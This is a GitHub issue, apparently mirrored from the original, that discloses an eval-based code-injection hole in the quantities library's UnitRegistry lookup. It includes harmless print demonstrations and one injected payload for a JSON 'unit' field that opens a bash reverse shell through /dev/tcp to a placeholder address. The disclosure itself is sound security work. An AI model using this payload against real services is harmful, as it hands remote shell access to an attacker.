Thanks to visit codestin.com
Credit goes to github.com

Skip to content

Vulnerability: Possible code injection in UnitRegistry #221

Closed
@codingchipmunk

Description

@codingchipmunk

registry.UnitRegistry.__Registry uses eval to lookup items.

def __getitem__(self, string):
    try:
        return eval(string, self.__context)
    except NameError:
        # could return self['UnitQuantity'](string)
        raise LookupError(
            'Unable to parse units: "%s"' % string
        )

This is inherently unsafe, as it allows execution of any string passed to the __getitem__ method.

In addition to making debugging a nightmare (i.e. passing a string like "Amp: ", which could be the result of an erroneous split string, will result in a SyntaxError instead of a more descriptive lookup error), it allows execution of arbitrary code.

Demonstration

>>>from quantities.registry import unit_registry
>>>unit_registry["print('Hello there.')"]
Hello there.

Exploit Example

Imagine a web server receiving sensor data using JSON with a scheme like

{
  "sensor": "sensor2b",
  "timestamp": 104289123,
  "value": 14,
  "unit": "mA"
}

Which is then processed by pq.Quantity(data["value"], data["unit"]). A malicious actor could use the "unit" field of that JSON to execute arbitrary code. For example, "unit":"__import__('os').system('bash -i >& /dev/tcp/[ip]/[port] 0>&1'" could be used to spawn a reverse shell to the provided address.

Escalation

While eval only allows evaluation of single statements, it can be used with a wrapped exec which allows execution of arbitrary Python code:

>>>from quantities.registry import unit_registry
>>>unit_registry["exec(\"print('Hello there.')\\nprint('General Wasabi!')\")"]
Hello there.
General Wasabi!

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Type

    No type

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions